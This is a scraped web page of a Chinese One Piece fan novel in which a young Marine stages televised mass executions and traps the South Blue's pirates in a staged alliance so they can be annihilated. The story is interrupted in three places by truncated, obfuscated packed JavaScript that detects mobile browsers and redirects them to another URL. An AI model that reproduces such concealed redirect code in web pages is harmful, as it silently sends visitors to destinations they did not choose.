RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311576|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将这份仇恨放在心里，用小心翼翼的手段发泄出去。” “我之所以来到南海，不过是因为我的故乡在这里。但是都过了这么久，大概也被海贼毁掉了吧。” “你没有回去看看吗？” “没什么好看的，海贼太多了，原先的自卫队根本没法保护所有人。我的妈妈死在大海贼时代开始后的第一个月，因为她拒绝把自己的钱财给他们，而在这之前，已经有十波海贼来抢过钱了。我的国家不是加盟国，永远等不到海军的支援与保护。” “原本，还尚能维持和平的生活……” “如果他死前没说那句话好了，那句全部都放在那里了……” “如果他只是乖乖闭嘴死掉就好了……” “鹤中将说，‘时代的变革，注定给世间带来动荡。’可是，在这不可挡的洪流中，作为普通人的我们……是多么无力。” 在她十七岁那年，大海贼时代诞生了。 在她十七岁那年，平静的生活结束了。 之后的一切，不过是现今世界上最常见的故事。 数以万计的人投身大海，成为了海贼。世界的秩序就这样变得比之前更加混乱无序。灾难叠加，人们的生活过得愈发艰难。 “真残酷啊，世界强行变成了斗兽场，每一个想安宁活下去的不想参与的都被迫的参与其中。” 她的妈妈最终没能老到躺在床上死去。 她在二十岁那年被上岛的海贼强行当成货物抢去。 她的国家没能收集到足够的钱财成为加盟国。 “鹤中将救了我。” 蒂亚淡淡说道。 鹤中将救了她。所以此时此刻，她才能活在这里。她永远的记住那双手，那双手给了她生的希望，驱逐了她的恐惧，让她此后能再度笔直地站立在这片大地上，因此她也要将这份希望传递下去，守护下去。她要保护那些人，那些无辜的平民，那些曾经的她。 “我加入了海军，成为新兵，最后来到这里。我成为了普通人的慈母，不过，这个称号后来渐渐地也传到海贼那边了呢，说什么我会宽恕罪恶，原谅他们所作所为之类的，真是可笑至极。” “但你把这个称号利用的很好。”路希评价道。“你成功的彻底解决了五百一十三个海贼。” “那当然。”蒂亚看着路希，忽然地笑了，那笑容有些路希看不懂的东西存在。她看着对方继续听下去。 蒂亚以一种最正常不过的态度说道：“要知道，世界伊始，所有人都是女人生的，后来那些被生下来的孩子管这些女人叫妈妈。既然妈妈给予了他们生命，自然也可以将其剥夺。” “所以，我杀这些管我叫慈母的海贼，天经地义。” 直到这时，路希才开始认真地注视起蒂亚。她能够感受到蒂亚之前的悲伤，但她并不能很好的共感那份情绪，她没有经历蒂亚过去的人生，有些感受只能如同镜中花水中月那般漂浮着。 然而直到最后，像是有一种共通的情绪被激起，那份情绪潜藏在她的体内、蒂亚的体内，可能也潜藏在熟睡着的古伊娜体内、孔雀体内，将她们彼此间的距离倏然拉近。 路希点评道：“我喜欢你最后那几句话。” “所以前面那些话你只是凑合着在听是吧。” 路希摇头：“那也不能这么说，你看我全程都没有睡过去，也没有找零食吃。” 蒂亚：“……”蒂亚想起白日路希对海贼们心理治疗的态度，忍不住苦笑，“你真是一个不听话的新兵。” 路希站起来，拍拍自己衣服上的尘土，回望着蒂亚说道：“我要是那么听话，就不能做我想做的事情。你是这种性格的慈母真是太好了，我很喜欢。” “哦？” 路希的嘴角微微勾起，带着独属于她自己的气势。“因为我来这里，是为了毁灭南海所有的海贼。” 55.南海 “在鹤中将那里学习的时候，我翻到过一本很有意思的书，书上写了各种如何剿灭海贼，结束大海贼时代的办法，不过，最后评语都归结为，异想天开。” “比如什么制造大量的海底火山喷发，引发海底地震，让大海的生态环境产生巨大变化，海贼们无法继续航行。至于怎么制造，除海贼外的普通人要怎么生存，暂时不在考虑范围内。” “又或者想个办法把所有海贼召集到同一个区域，接着发射一颗能够毁天灭地的炮弹把这个区域炸掉，至于什么办法，哪里来的炮弹，就由实施这个计划的人自己努力。” “以及集合海军所有的力量把四皇全杀了，震慑其他海贼，至于具体怎么杀，你别问。” “还有让科学家研究一种让人不睡觉不吃饭也能精力十足的药，给三位大将服下，让他们没日没夜无休止的在海上工作杀掉海贼，至于三位大将的精神状态，那不重要。” “其它诸如此类的还有，让科学家研究幻兽种的恶魔果实，表演一个复活吧我死去的幻兽，制造大批幻兽军队灭杀海贼。或者研究时间系的恶魔果实，选中一个人让其穿越到第一个海贼出现的时候，结束对方的生命，从源头掐断海贼出现的可能性。” “这种荒谬的计划在书里还有许多，不过虽然里面的内容都很扯淡，但我多少还是学习到了一点，毕竟我是天才嘛。” “所以，来南海之前，我已经有了一个简略的想法，只是在细节和是否实施这些问题上，还需要与海军本部的人进行一番讨论。如果支部有一个支持我的人再好不过，因为只要出现第一个，必定会有第二个、第三个赞同我计划的人。” 蒂亚无数次想起那个夜晚路希对她说的一番话，不由得捂住胸口，太疯狂，太胡来了，然而另一方面，她又不得不承认，对方的计划，确实有一定可行性。绝对的暴力需要用绝对的正义镇压。 只是计划的主角，这三个人能做得到吗？ 这也是鹤在知晓这个计划后对她发出的提问。 “你们做得到吗？” “你们要做的事情并不是短期内能结束的事情，在这途中，海贼积累的愤恨或许会不受控的爆发，平民中大抵也会出现反对声音。毕竟，一些海贼也拥有自己的家人。而且，虽然你将孔雀和古伊娜列入计划中，但这两人还不清楚这件事吧。” 路希在电话虫的另一端点点头，“是的，我还没告诉她们，毕竟要是连上级的支持都没得到，那一切都是无稽之谈。” 鹤揉揉眉心，叹了口气，说道：“我并不是很想同意这个计划。不确定性过高，危险性过强，失败的话不仅你们的性命，海军的名声可能也会遭到一定下滑。成功的话，恐怕连四皇都会暂时将视线落到你们身上。不管是肉.体还是精神，现在的你们都太过年轻。” “可是鹤中将，我们要年轻到什么时候呢？现在正是我们的成长过程。”路希的语气平淡，态度却很坚决。“如果我们只是和其他的海军那样平稳地前行，您建立新星计划的意义又何在？我想，您一开始就想到过这些。” 鹤笑了一声，随后语气变得严肃起来。 “我确实想过一些。好吧，那么我再问最后一次，你确定要这么做吗？” “我确定。” “那么就去说服孔雀和古伊娜吧，之后再回来告诉我。” 路希最先找到的是古伊娜，把自己准备的计划和盘托出。古伊娜沉默半晌，说道：“你认真的？” 路希点头：“嗯。” 古伊娜淡淡看她一眼，说：“会死很多海贼。” 路希纠正了她话中的一个小错误。“不是很多，是接近全部，我希望他们能全部消失，不过，终究会有几条漏网之鱼。” 古伊娜没接路希的话，片刻后，她才问道：“为了海军，还是你自己的目标？” “两者都有。”路希解释道，“严格来说，海军不算我真正的敌对目标，毕竟她们的信念是维护正义。当然，贵族和天龙人又是另一回事，从这个角度讲，世界政府才是我要推翻的目标，海军是可以拉拢的对象。” “而海贼们则完全不同，我可以说，这世界上百分之九十的海贼，都是无恶不作的恶人，即便我不是海军，我也注定会与他们成为敌人。因为我想要的世界，可不是那种混乱无序，以暴力为主的地方。” 仿佛是被她最后的一句话宽慰到，古伊娜原先紧绷的身体放松了一点下来，然而她还是抽出刀，说道：“和我打一架吧，让我看看你持有的……到底是什么信念。” 古伊娜斟酌片刻，还是说出了这个词。言语可以骗人，可以巧妙地添加或隐去一些东西，但是战斗中每一招每一式的碰撞不会，她一直坚定的认为，从一个人的对战方式中，可以看出其真实为人。 她要和路希打一架，要摆脱言语的束缚，感受对方真实的一面。 路希没有拒绝。 这场战斗持续了相当长一段时间，因为这本身就是一场奇怪的战斗。它不是为了分出胜负，比谁更强更弱，也不是为了锻炼招式，提升彼此的能力。它纯粹只是为了交流而存在，一场心与心的交流。 古伊娜的刀尖最终落在路希的脖颈旁，路希淡然地看着古伊娜。 “答应我，路希。”古伊娜说道，“你永远不会为了单纯的杀戮而行动。” “我答应你，古伊娜。”路希极为轻快地笑了一下，“如果真有那么一天，你可以亲手杀掉我。” 说服古伊娜后，路希转而去找孔雀。与古伊娜对计划有所犹豫的态度不同，孔雀竟然没思考多久就同意了。 “嗯？怎么了，是觉得我不会同意吗？” 像是注意到了路希的疑惑，孔雀挑眉，带着一如既往的那种语气说道。 路希诚实道：“是啊。” 孔雀低低笑了几声。“这就说明你们还不了解我呢。”她托着下巴，颇有些百无聊赖地看着远处的风景，“我不是那种温柔的人，更别提对海贼们了。你知道的，鹤中将是我的姥姥，我从小就是听海军和海贼的故事长大的。我知道海贼有多恶名昭著。” “而他们和平太久了，虽然这话听起来很奇怪，可事实如此。海军太久没有对这群人造成真正的伤害，原本海贼王的死亡可以起到一定的威慑作用，却被罗杰反将一军，导致大海贼时代诞生。” “在这种连一头狗或许都想着当海贼的时代，普通的手段不痛不痒，过于温和。没受到真正的毁灭性打击，有些人永远学不会放弃。我很喜欢你的这个计划，会尽全力完成的。” 路希认真打量了孔雀一眼，随后把信任全部托付给她，“那拜托你了，孔雀。” 南海所有的支部基地忽然间全部进入忙碌状态，电报机整日哔哔作响，抓捕到的海贼被带上军舰，送往第256支部基地，蒂亚管辖的城镇。而金沙镇的居民正分批次有计划离去，被带往其它岛屿。同时，映像电话虫被安装在加盟国的各个地方，甚至连非加盟国的岛屿，也有路过的海军把电话虫放置在这里。 这是来自大将赤犬的命令。 “这种程度的人力和物力，只凭借我一个中将的能力做不到，还有计划本身，我也必须上报。” “麻烦你了，鹤中将。对了，我能提一个请求吗？” “哦？” “能优先把这个计划上报给赤犬大将吗？” 电话虫那端沉默了一会，才响起问话。“为什么？” “要说的话，直觉？比起其他两位，我觉得赤犬大将是最会全力支持的一个。” 过去几个月与三大将接触和战斗的经验累积成敏锐的直觉，告诉路希最佳合作对象是赤犬。 鹤哼笑一声，“不错的直觉。” 赤犬确实没有反对，甚至成为了计划的第一对接人。“你可以直接联系我。” “是，赤犬大将。” 路希平静应道。 有什么危险要来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323083|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，海风中夹杂着死亡的气息，海贼们自然没有错过海军们近日的动静，然而会是什么呢？酒馆里依旧一如既往热闹，啤酒的泡沫在杯子里翻腾，人与人之间推推搡搡，动不动就爆发争吵。 打斗、吵闹，这是属于海贼们的日常。 今天又抢了多少财宝，昨天又抓了多少虏隶，转手出去赚到多少，手中人命又多几条。黑暗的地下社会，不为人知的交易，无能的海军。 “海贼王的宝藏？这种东西根本不重要，现在这种生活才是最痛快的啊！” 这是大海贼时代，这是与正义背道而驰之人最自由的时代，是人性最为放纵的时代，是向下的时代，也是向上的时代。 路希登上高台，底下是一排密密麻麻被海军们看守着的海贼。 映像电话虫忠实地工作。 处刑台，海军，第一位海贼。 路希在数万人的注视中平静说出自己的名字：“我名为路希，以我自身的名义，以海军的名义，来终结大海贼时代。” 她报出海贼的名字与事迹。 “海贼，克洛，嘭嘭岛居民，犯下事迹……” 她平静地吐露出一旁海贼的罪恶，直到最后，告知完毕，她无情地宣判：“处以死刑。” 铡刀落下。 不再是以往的绞刑，而是锋利的刀身斩断头颅与身体的连接，鲜血喷出，死亡降临。 由她亲手斩杀。 她脸上的表情变也没变，残酷地说道：“下一个。” 协助的海军带走克洛的尸身，送上第二位海贼。 如先前同样的举动。 她没有犹豫，没有微笑，没有恐惧，没有悲伤，眼中只有审判之意，就像是一位……暴君。独属于海贼们的暴君。 第三位、第四位…… 时间向前推移，路希不见丝毫倦意，仍旧如最初那般残酷斩杀。一个接着一个，猩红的液体蔓延了整个处刑台。 一千个海贼。 从早到晚，从清晨到夜间，由全南海的人见证这场直播行动，不论是贵族、普通人、还是……海贼。 全部见证。 那是自心底诞生起的恐慌，那是从心灵深处升起的愤怒，那是自骨骼处蔓延的战栗。 最后一个海贼的人头落下，路希冷冷注视着映像电话虫，仿佛预言般说道：“这只是个开始，我会结束所有南海海贼们的性命。” 一下子点燃所有阴暗的情绪。 “什么结束南海海贼们的性命，终结大海贼时代啊？！” “这是哪里来的海军，根本没有听说过！” “毛都没有长齐的臭小鬼！要让她得到教训！告诉她南海是什么地方！” “南海是我们海贼做主的地盘！” “这是在哪里？！她在哪里？！” 蒂亚怔怔地看着高台上的路希，此时此刻，结束了所有海贼的处刑后，对方的视线终于落在她的身上。即便没有任何言语，那一瞬间，蒂亚仍明白了路希传达的话语。 她会成为她残暴的女儿。 慈母没有办法做到的一切，就由女儿来代替实行，普通人的希望与梦想，由她来守护。海贼们的狂欢与罪恶，由她来结束。 她会成为继承她意念的女儿——残暴的女儿。 “大新闻，这可是大新闻啊……登报的话，绝对是头条，能引起全世界轰动啊。”远处，受邀前来的世经报社长，摩尔冈斯喃喃自语，他看了一天的处刑，拍了无数张照片，脑子里不知想出了多少标题，情绪从最开始的激动到麻木。 “可恶……现在还不行啊。” 摩尔冈斯心急得抓耳挠腮。 他想起路希先前与他的谈话，对方通过海军高层联络到世经报，经过电话虫对话，再到面谈，她们暂时达成合作。然而，现在这场行动还只能在南海海域传播，路希不允许世经报刊载这个消息分发到全世界。 她说一切只是个开始。 56.南海 时间退回到路希处决海贼的前几日，金沙镇，海军支部基地。 “世界第一剑豪海贼团，这个名字，你是认真的吗？到时候我们真叫这个名？” 孔雀一脸微妙地看着古伊娜神情专注地画着海贼旗，得到对方肯定的答复。 “嗯。” “你……说不定很有搞笑天赋。” 古伊娜递给她一个困惑的眼神，问道：“你想取什么名字？” 如果有其它想法，说出来也不是不可以讨论。 孔雀耸耸肩，拒绝了她的提议。“感谢你的好心。但是，我对这种终将逝去的海贼团没什么精心取名的兴趣。” 那就没办法了。 古伊娜画好海贼旗，开始打包东西，接下去，她要与孔雀出海当海贼。这是路希计划中她们扮演的身份。 她们要成为海贼，要成为能引领南海其它海贼团的存在。 因为路希会带来绝望与恐惧，而她们要成为那些海贼唯一的希望。然后，将其引领至终点。 孔雀和古伊娜还专门研究了一下化妆，防止有人认出她们的真正身份。虽然这种可能性相当之低——两人的相貌从未登报，南海亦是初来乍到。不过做戏做全套，以防万一嘛。 古伊娜研究来研究去，最终决定还是戴个黑色的口罩完事。孔雀则是用红色颜料，以鼻梁为中心点在脸上涂了酷炫的叉，美滋滋地在古伊娜面前炫耀，“怎么样，很帅气吧？” 古伊娜：“……嗯。”她也不能说不帅啊，而且确实挺帅的，只是口罩实在是太省事了。 两人乘上木船出航。装备简陋？问题不大，到时候碰到满意的海贼船抢过来就是。 而路希正克制着自己想要摸摸摩尔冈斯身上鸟毛，感受其触感的冲动，满脸正经的与对方进行谈话。 “我直说了，摩尔冈斯社长，你最希望得到的是什么？” 世界经济新闻社社长，摩尔冈斯，里世界的帝王之一，掌控世间所有新闻流通走向，并将其出版成报纸，告知世人。 南海发生的事，必然瞒不过他，可路希还不准备将这件事登上新闻，如鹤中将所说，她们现在太过稚嫩，而外界存在太多难以掌控的因素。 因此她必须要与摩尔冈斯来一场合作。 摩尔冈斯审视着眼前的海军，从年龄的角度说，他很难相信对方能有什么大动作。可从先前的电话联络，以及他从业多年的经验看待，摩尔冈斯能隐隐察觉到一股隐藏的风暴正在对方体内酝酿。 他素来消息灵通，在海军的人联络他之前，便知晓南海的异常。正当他思考着是继续打探一番或是直接登报发行，海军发来了合作请求。 然后，他亲自来到了这里。 “我最希望得到的……要说的话，当然是新闻，大新闻，震撼世界，引发轰动，独一无二的超级大新闻！” 摩尔冈斯相当坦诚的说出了自己的需求，既然对方选择单刀直入，那他何必弯弯绕绕。 “那么，剿灭南海的全部海贼，算不算一个合格的大新闻？” “……什、什么？！” 他的思考暂停了片刻，然后像是为了掩盖自己内心的震荡，开始哈哈大笑。 “你是在开玩笑吗？” 笑了一阵过后，他发问道，但想起南海异常的情况，海军主动的邀请，摩尔冈斯感觉自己浑身的鸟毛都要炸开，他看了一眼自己身上衣服外露出来的鸟毛，哦，原来不知不觉间已经炸开了。 “全部的海贼，你知道有多少个吗？要怎么做？如何做？海贼可不是会乖乖在原地等着你来抓的生物。” 摩尔冈斯用气势来维持自己的威严。 “所以才需要与你合作。”路希抛出橄榄枝，“一味的等待抓不到海贼，也会与大新闻错过。社长你最近有没有碰到能让你心潮澎湃的大新闻呢？” “……” 摩尔冈斯沉默了，他不得不遗憾地承认，没有。 世界上发生的差不多都是类似的事情，什么海军抓捕到了几个过亿的海贼，海贼又做了什么令人发指的恶行，虽然偶尔有几个惊喜的，但如同当年海贼王罗杰处刑这样翻天覆地改变世界的新闻，可以说一个都没有。新世界的四皇势力趋于平衡，伟大航路的海军与海贼彼此稳定牵制。如果这个海军真的能做到剿灭全南海海贼，那说不定，他见证的会是另一个新时代的起点。 摩尔冈斯发问：“既然要合作，总得让我知道你的计划。” 路希伸出手，示意道：“我当然不会瞒着自己的合作伙伴，社长。” 摩尔冈斯思索片刻，将自己的手覆在了路希的手上。 鸟毛的触感软软的。 三日后，路希处刑了一千个海贼，摩尔冈斯全程记录。翌日，送报鸥开始辛勤地在全南海范围内分发报纸，报道这个事件。 【海贼覆灭or海军败北？！大海贼时代的终结？！残暴的处刑者！海军路希！！】 新闻报道足足有一整页，其中路希的照片占了三分之一的版面。而其它的内容来自摩尔冈斯添油加醋的撰写，主打一个对海军的吹捧，路希的赞美，海贼的蔑视，进一步激发两者之间的矛盾。 然而，这是一份仅供在南海发行的报纸。 如果有人能仔仔细细将这份报纸翻阅，就会发现在一处极不起眼角落上写着四个字：南海特供。 面向全海域的世经报，在那一天，停止了南海的发行。而报纸上关于这项行动的报道，仅仅只在后几页，与其它一些不甚重要的新闻放在一起。 【新生海军在南海处刑海贼。】 没有名字、没有照片、没有具体情况，只是普普通通的一行小字。 同时，为了防止此次事件外泄的可能性，南海成立了专门的通讯部开始工作。 古伊娜和孔雀把抢来的海贼船的海贼旗摇下去，换上自己的海贼旗。现在她们要开始在海贼内部组建自己的势力。 金沙镇迎来了不少海贼船的袭击，可这座岛屿早已进入备战状态，加上这些海贼们多数只是凭着一股冲动行事，既没有计划，也没有与其他海贼携手合作，可以说是一盘散沙。 几日后直播再度开启，迎来第二批海贼处刑。 【凡海贼者！处刑杀之！绝不留一活口！南海最残暴的强者诞生？！】 报纸纷纷扬扬的在各处持续洒落，在这种通讯手段并不发达，一个岛屿可能要隔好几天才能知晓另一个岛屿情况的时代，报纸是唯一及时且稳定的信息情报来源。 摩尔冈斯完美的发挥着他的文才。 海军与海贼的矛盾愈发不可调和，也有曾与其它支部海军达成几次合作的海贼询问具体情况，结果却是直接被下套抓捕。 越来越多的海贼意识到严重性，海军不再是抱着如以往那般能追到最好，追不到就算了的信念行动，这里的海军们如今只听从一个人的命令行事，而那个人决意要剿灭所有海贼。他们之间，不死不休。 不是没有海贼想到翻过颠倒山离开南海，然而路希已经不在长期驻守金沙镇，而是率领军舰出航，随时可能在各个地点遇见她。而被她抓到的海贼，绝无一丝生机。 海风中每时每刻都传来死亡的气息。 杀掉她，或者被她杀掉，想要活下去，他们只剩一种选择。海贼的身份不再意味着无法无天的自由，而是处刑台上的尸首。 报纸每日稳定发行，记载着昨日又有多少海贼被斩杀，不断宣传着风暴中心那位主角的恐怖与强大之处。她行经之处，自有万千呼喊声。 路希——是各国各岛的民众在颂念她的名字。 路希——是海贼们咬牙切齿恨不得吞噬殆尽的怨恨声。 路希——是海军们信任可以交托后方的安心声。 【善者赞颂！恶者畏惧！海军新时代的希望！路希！！】 几乎整个南海都陷入一种迷乱的狂热状态中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336869|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>海贼堆中终于有人站出来，说这是一场战争。海军对海贼发起的一场不死不休的战争。他们是时候组建起自己的海贼同盟，对海军发起反抗。 世界第一剑客海贼团，奇怪的船名，但船长小伊与副手阿雀却有着千万的通缉令与不弱的实力。 她们的麾下已经汇聚了不少海贼船只，甚至有不少部下是自那位海军路希中抢夺出来的。 但是邪恶的报纸没有记载！邪恶的报纸只忙着吹嘘海军，给对方造势。 之所以会产生海军强势，路希不可打败的错觉正是如此。报纸记载着的消息并不完全真实，反而有极大的夸赞成分！ 虽然海贼的直播处刑是真实的，然而那只能更加说明海军的狡诈！竟然以少部分的海贼死亡来营造海贼会全灭的假象，卑鄙，太卑鄙了。 副手阿雀情绪激愤，动不动就对海军与报纸的发行者以及那位残酷的斩首者来个怒骂痛批，甚至想过把送报鸥烤了吃掉。船长小伊终日眼神阴冷，谋算着怎么变强打败敌人。 他们要抗争！他们要夺回南海！他们有胜利的机会！ 不知不觉间，竟也逐渐将大多数海贼联合了起来。而报纸终于适时报导了这股势力。 【不可小瞧的敌人？！海贼的反抗！小伊与阿雀，世界第一剑客海贼团与其麾下海贼！】 这种接近于官方的认证倒是让这群海贼愈发兴奋，个体的自我被一种集体的荣誉吞噬，没错，他们能活下来，只要海贼联盟能一直存续且不断壮大，他们有机会打败海军，彻底将南海归为海贼的地盘，赶走所有海军！ 甚至像海军有基地那般，海贼们也寻觅了一处无人岛屿作为自己的秘密基地，他们在海上航行着，逃窜着，交头接耳悄声谈论着…… 来吧，来加入海贼联盟，来这座独属于海贼的岛屿。船长小伊与副手阿雀，会带领大家打败海军。 来到海贼基地的海贼，越来越多。 【世界第一剑客海贼团最新动向？！她们的目标是……】 报纸上的报道不在局限于路希率领的海军，也时常出现海贼那方的动静。 【实力的证明or侥幸的逃脱！残暴之女的首次败北？！】 【又斩杀一千海贼！名副其实的南海暴君！】 【唯一敌手？！世界第一剑客海贼团？！】 【死战宣言！世界第一剑客海贼团与海贼联盟！海贼们的希望？！】 一天一份报纸，摩尔冈斯感觉整个鸟都要写虚脱了，他都有点开始担心自己秃毛的问题。路希不知从哪里找到护毛膏丢给他，摩尔冈斯不是很敢涂，这么久的一段时间相处下来，他担心对方扔给自己的是脱毛膏。 虽然对方恐怖的形象有不少来自于他卖力的营造，但那些营造可都是建立在她行事的基础上啊。 摩尔冈斯鸟叫了几下，嘟囔道，“差不多也该收尾了吧。” 恐怖的暴君站在船头，不咸不淡应了声，“嗯，我该去突袭海贼基地，找古伊娜和孔雀了。” 海贼基地，由古伊娜和孔雀亲自建立，南海海贼们的汇聚处。被海军们逼至退无可退的海贼都将到达那里，进行休憩、交流、强化对她的恨意。从那里出来的海贼又会不断对其它海贼传播基地的信息，增加自己的同伙。 她会在那里败北，会接受处刑。这个消息会将所有还在外小心游荡的海贼召唤回来，也会将试图单打独斗，或者自己组建海贼联盟的海贼吸引过来。 因为在铺天盖地的宣传下与真切存在的海贼尸骨上，有一个明确的事实—— 她是南海海军的主心骨，是南海民众的救世主，是南海海贼唯一的、最强最不可战胜的、最可怖的敌人。 如同当年民众到达罗格镇观看海贼王罗杰的处刑，海贼们也会被他们内心的愤恨驱使着前来观看这位海军暴君的处刑。 然后，她会启动屠魔令。 而在屠魔令的炮火下，海贼们将无一生还。 57.南海 黄金色的电话虫，只要按下按钮，早已做好准备的海军军舰便会即刻出击。 海贼们的暴君【路希】战败的消息自海贼基地传出，紧接着如疾风般传到每一个海贼耳中。 “听说了吗，那个海军……” “偷袭失败，处刑……” “终于轮到我们了……” “海贼的胜利……” “赞美小伊船长和阿雀副船……” 胜利的曙光近在眼前，这注定是历史性的一刻，世经报的标题没有如往日那般写着路希的事迹，而是以其她海军作为头条——是真的，真的被抓住了。 海军尚不知道这则消息，他们要赶在敌人发现前进行处决，然后将对方的人头扔回去。 快来、快来，过时不候。 所有海贼仿佛发疯似了的赶往同一个地点。 海贼汇聚之日，处刑之日，她待在作为牢房的狭窄木屋，将黄金色的电话虫拿出来，放在掌心。 “是时候了。” 古伊娜透过木门的缝隙，看了岛上的海贼们最后一眼，她闭上眼睛。 “按下去吧。” 孔雀靠在墙上，轻轻舒出一口气，像是与海贼阿雀这个身份告别。 “按下去吧。” 手指下压，正式宣告着屠魔令启动。 今夜正是了结之夜。 十艘军舰悄无声息地疾驰至这座海贼之岛，而在它们包围之前，已经有两位不速之客提前到来。 海军大将：赤犬与青雉。 岩浆与冰冻，火焰与低温。 “流星火山——” “冰河时代——” 屠魔令虽然需要得到大将授权，但并不需要大将亲自出动。出动大将是路希在此次计划中提出的额外请求。要剿灭的几乎是全南海海域的海贼，十艘军舰的数量注定有漏网之鱼，与其申请多加派十艘军舰，耗费大量人力物力，不如直接出动大将。 大将的能力至少抵得过二十艘军舰。 原本路希只对计划的对接人，也就是赤犬提出这个请求。 “命令大将，很狂妄嘛。但要是你真走到那一步，我走一趟也无妨。” 赤犬同意了她的请求。 而青雉和黄猿，则从未在路希的考虑中出现。大将与大将在海军内部亦有势力划分，何况能成为大将，说明三个人的能力相差无几。这个计划的对接人是赤犬，也只需要选择赤犬。 青雉的到来出乎路希的意料，可此时不是在意这种事的时候，岛内冰火两重天，岛外炮弹轰鸣。海贼们生路断绝，前方唯有死神。 “我们该撤退了。” 她对古伊娜和孔雀说道，这里不需要她们亲自动手。 这注定是一个会被载入历史的夜晚，海圆历1512年，南海将近十数万海贼，全灭。 摩尔冈斯终于可以将发生在南海海域的所有事情刊登在报纸上发行出去。然而真到了这个时刻，他的大脑反而一片空白，想不出一个文字。或许是因为他也在其中出了不少力，不算完全的旁观者，亲历者才知道走到最后一步是如何不容易。 随时可能被海贼反杀的危机、计划中途被发现的可能性、海贼们不愿齐心协力组成联盟怎么办？诸如此类，种种种种。可她们三个人和那些海军还是做到了，成功走到了终点。 不、不是终点，摩尔冈斯心想，会做出这种计划的人，恐怕这只是个起点。未来的世界注定翻天覆地。 如同她在初次海贼斩杀行动说的那样…… 【最和平的海域诞生！南海！】 【海军新星！狂言，必将终结大海贼时代！路希！】 【未来的世界第一剑豪？！鹰眼米霍克将被取而代之？！古伊娜！】 【大将之才？！恐怖的口才！海贼联盟的创建者！孔雀！】 世经报发行的那一天，整个大海都为此轰动。 如鹤当初所说，就算是远在新世界的四皇，也暂时将视线落在了她们身上。 * 红发海贼团，副船长贝克曼看到报纸上的消息后，默默将烟掐灭，随后直接将报纸往他们的船长香克斯脸上一怼。 香克斯：“……？” 什么情况？ 香克斯把贴的过于近的报纸拿到手中，一目十行扫着上面的文字，“终结大海贼时代……路希……路希——？！” “诶——？！” “怎么了怎么了？” 香克斯的叫声成功引来了其他船员，众人汇聚过来，询问发生了什么事。贝克曼把香克斯手中的报纸抽出，放到众人眼前晃了一圈。 “诶——？！路希——？！” 船上爆发出统一的喊声。 贝克曼默默点头。 没错，就是那个路希，名字和样貌都对上了，就是那个在东海风车村认识的双生子中的那个女孩，说要当世界之王的那个人。 现在她把整个南海的海贼差不多都灭光了，疑似事业转道，准备去当海军王。 众人皆怔愣的当下，香克斯最先回过神来，拍了两下大腿哈哈大笑。 “哈哈、哈哈哈哈哈……有趣，太有趣了啊。” “开个宴会吧，庆祝我们远方朋友梦想的成功。” 白胡子海贼团，莫比迪克号，马尔科扫了刚到手的报纸一眼，像是看到什么不可置信的消息，即刻赶向白胡子。 “老爹，南海出了个不得了的大新闻。” “以一名叫路希的海军为主使，那里的海贼几乎被全灭了。” “哦？”白胡子翻阅着手中的报纸，看着看着，他忍不住笑起来，笑声让整个空气都开始震颤。“咕啦啦啦啦啦，年轻的小鬼，能带着这份野心走到什么时候呢……” BIG MOM海贼团，夏洛特玲玲同样在狂笑。 “Mamamamama，终结？可真有胆子说出来啊。好吧，我就在新世界等着你，看你有没有能力把我终结！” 底下，她的一群孩子不敢说话打扰她。 和之国，百兽海贼团。 凯多正在喝酒，凯多一边看着报纸一遍喝酒，他认为自己有些醉了，否则应该不会在报纸上看到这种消息。 凯多流着泪，灌着酒，把报纸往烬身上一塞，说道：“我真是喝太多了……” 烬相当有责任感的把报纸从头到尾看完，应道：“海军最近的动静不小。” 凯多又将报纸拿回来看了一眼，哦，原来不是酒后幻觉。 凯多的泪流的更凶了。 战争，南海发生的是一场货真价值的战争，且毫无疑问是海贼的败北。他都想直接飞过去看一下情况了，不过海军大将恐怕还留在那，而且能说出终结大海贼时代这种话的海军，总有一日会到达新世界，与四皇会面。 只是为什么…… 凯多边流泪边想，为什么别人家的海军在这个年龄能灭了一海域的海贼，而他家的女儿还在嚷嚷着说自己是个男的，要当光月御田啊！ 海军本部，战国办公室。 “怎么样？” 鹤翻阅着报纸，似是在询问正在喝茶的卡普看法。虽然早在报纸发行前就知道情况，但不妨碍她在三人齐聚的时候问一声。 卡普能说什么，他家的小孩已经用实力和决心证明了自己要走的路，现在谁都拦不住她咯。他喝下一口茶，放下茶杯，手指战国。 “战国，快把位置让下来给我孙女坐。” 战国：“幼稚。” 战国平静地吐槽，他的心情丝毫没有因为这句话掀起波澜。现在整个大海都因南海的消息沸腾了起来，路希、古伊娜、孔雀、南海海军与海贼，如果做个统计的话，这几个词绝对是出现频率最高的词。 而海军的声望也因此提高了不少，伟大航路暂且不论，仍有人质疑真假。但至少在南海，想成为海军的人翻了不止一倍！ 他作为元帅，高兴还来不及，虽然手段确实残暴了点，可实在有效啊。底下有如此能干的海军，就算目标是他的位置又怎么了，何况他早就到了退休年龄。 